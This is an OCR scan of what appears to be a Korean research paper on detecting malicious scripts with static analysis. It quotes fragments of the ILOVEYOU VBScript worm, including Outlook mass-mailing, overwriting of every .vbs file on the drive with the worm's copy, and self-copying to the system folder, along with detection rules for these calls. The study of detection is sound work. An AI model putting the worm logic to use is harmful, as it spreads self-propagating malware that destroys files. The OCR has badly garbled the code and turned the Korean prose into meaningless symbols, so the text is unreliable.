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Detection of Unknown Malicious Scripts Using Static Analysis

Seong-uck Lee'- Byungwoo Bae''- Hyong-joon Lee''!
Eun-Sun Cho'''*. Manpyo Hong''''

ABSTRACT

Analyzing the code using static heuristics is a widely used technique for detecting unknown malicious codes. It decides the maliciousness
of a code by searching for some fragments that had been frequently found in known falicious codes, However, in script codes, it tries to search
for sequences of method calls, not code fragments, because finding such fragments is much difficult. This technique makes many false alarms
because stch miethod calls can be also used in normal scripts. Thus, static heuristics for-seripts are used only to detect malicious behavior consisting
of specific method calls which is seldom used in normal scripts. In this paper, we suggest a static analysis that can detect malicious behavior
more accurately, by concerning not only the method calls but also parameters and return values, The result of experiments show that malicious
behaviors, which were difficult to detect by previsus works, due to high false positive, will be detected by our method,

FINE : 244 AP E(malicious script), AY BE(malicious code), BHE w02 A (computer virus), HH B4(static analysis)
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sat out = Wecript.CreateQbjact(* Qutiook Appication’)
set maoi = ou SRR @D
tor otrists = 1 to raaps SEERREN Count

set a = maps [N ctcists)

for ctrentrias = 1 to. &,
matead = » SRR
set mate = out ETTHGMEEO)
male, Recnients Acd{malead)
mate.Subsct = “ILOVEYOL"
mgie, Body = vbocill & "kindly check the attached LOVELETTER coming liom me.”
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made,

next

next
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Set fso = CreateObject { “Scripting FileSystemObject” )
set file = 1s0,0penTextFile ( WScript.ScriptFullname, 1)
vbscopy = file.ReadAll

fileclose

folderlist ( “c : W")

sub folderlist ( folderspec )
dim f, fl, sf
set f = fso.GetFolder ( folderspec )
set sf = f.5ubFolders
for each fl in sf
infectfiles ( fl.path )
folderiist { f1.path )
next
end sub

Sub infectfiles ( folderspec )
dim £, f1, fc, ap
set § = fso,Getfolder { folderspec )
set fc = f, Files
for each f1 in fc
if fs0.GetExtensionName ( flpath) = “vbs” then
set ap = fso, OpenTextFile ( fl.path, 2, true)
ap.write vhscopy
apclose
end if
nNext
end sub
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= CreateObject(“Scripting, FileSystemObject”)

Set girsystem getSpecialFoider(1)

Set GetFile(WScript. ScriptFuiiName)

Copyiditsystam8 W OVE-L ETTER-FOR-YOU. 1XT.VBS §

set{out]= WScript.CreateObject( " Outidok. Application”)

set {ouf Createltem(0)
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< Maich, Rule > ot = < match_ruld.id > “ 7 <pattern >

< pattern > 1t = {<variable> | <string> | *#" |
< char > h.

< Relation Rule > - ! = <relation_rule_id> “ " [ < precond > ]
[ <¢ond> ] <action >

< cond > = “oond” < rule_variable > [ “==" | “<" ]
« rule_variable >

< precond > 1t = *precond” <relation_rule_id > { “”
< refation_rule_id > }

< action > 10o="action” [ < assignment > | alert 11
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< assignment > 11 = < variable > “=" <rule_variable >

< rule_variable > o= (<relation_rule_id > “.” < variable >) |
(< match_rule_id > “." < vatiable >)
< variable > *$" < digit >

<relation_rule_jd > ::
< match_rule_id >

“R" [ < digit > | <alpha >]
“M" [ < digit > | < alpha >}

ot it

(T8 5 73 B7| 84

“<Match_Rule>"& % 3ol #3& el 2z
(identifier)9t ¥AE deloz T PPz ‘Mo
ANzse 73 FR9 Wart et €48 dye o
A A9E AR £4 deeg #x el HiE 234
E qoje} FUF e MY © A WAEs} AMgstE
oAtel fe kg & H<(variable) 2 upre] Wol o
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A FHE uisd, iy #3& wHeke S AHeE
FE Wge BAE NI A4 d94E Zud o8
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Hlaction)2 TEEh A g FHol wEEI
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7] wHE zdel rlgd FEe] olul WEFEHUT 2
71 ol FY of wEEY, o] B FAFe] el
A8},

T, ol B3l wieh o] o4 AAYEY EAdE
o HAEL Y FHE AT Qe 44 3=
BN 718 d4del HE 44 AHE ArEAR ¥
olch whebd, A7jEa #AHE dideR A4 e HY
THe g AldlE AL}

248 Aagady 2A8AE M 7o) His o4 &
Slolm 28 d23ad Aud FIT HEe 2AYEE
gt (1Y 6)2 24 B4 F9& vEbd st elrt

ML1 : $1.copyfile wscript.scriptfullname, $2 [, * ]
RLOCAL : precond ML1
action $1 = ML1L$2
Alert local copy

(D% 6) ZH =X ¥9 ZXE A% 732 o

AA BH Ao 7Y Fo] 2IAPEA "ML 7]
<% Y9 E4E 9AsE, AT FHo NEHULSE
71587 98 3 AL A(instance)E A4 B, o7
o “$§17% “$27e} AP FALEE A £, Fol
& #A B4 gAeA “BLOCAL"} “ML1"¢l ©&# 5
Aol AEHeg VFHE FHYe BIHA R "MLIY
“627gkel Rapdch oRel ‘MUTHAA ‘(TR BEVIE RE
o WEe #HY FEe] FM¥loption)ol B2 EAEA F&
A4E U&g Jeldd, A8 QA A48 A8 25 ¢

o e velg 3¢ g FEE FAT 23, o] 2
€ ARe AA A" 2E BA %9 dAdo] A,
e FHAM o] FEE olfH 4 UAEE HAlE HUF
€ 73 ¥a “RLOCALS$I™™ 7o}

Mg F8 AVtEAE 22 A2 EAd Al 2=
Ao A8 dde vdel FRstel AFd oo
(g Ne 24 BAEY #F 4 #%e gAd] A9
THoR, EAlY HUE wde WP} FEF dde A
F3= FRELE olFA UFE ¢ + AT “MAI'H
MSI'E #2 Wde] g Wik A9 sde dF
s atmg vEhdin), “RATTACH'® “MAI'#% 2% BA|
B9l ¥4 73 “RLOCAL"S stddmo] AXE 7§ &g
t}. “RSEND"# wde] #U& 73 34 “RATTACH
gt g AE B9 MSI'o] EAda, WdE dAFse
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MAl : $1.Attachments. Add $2
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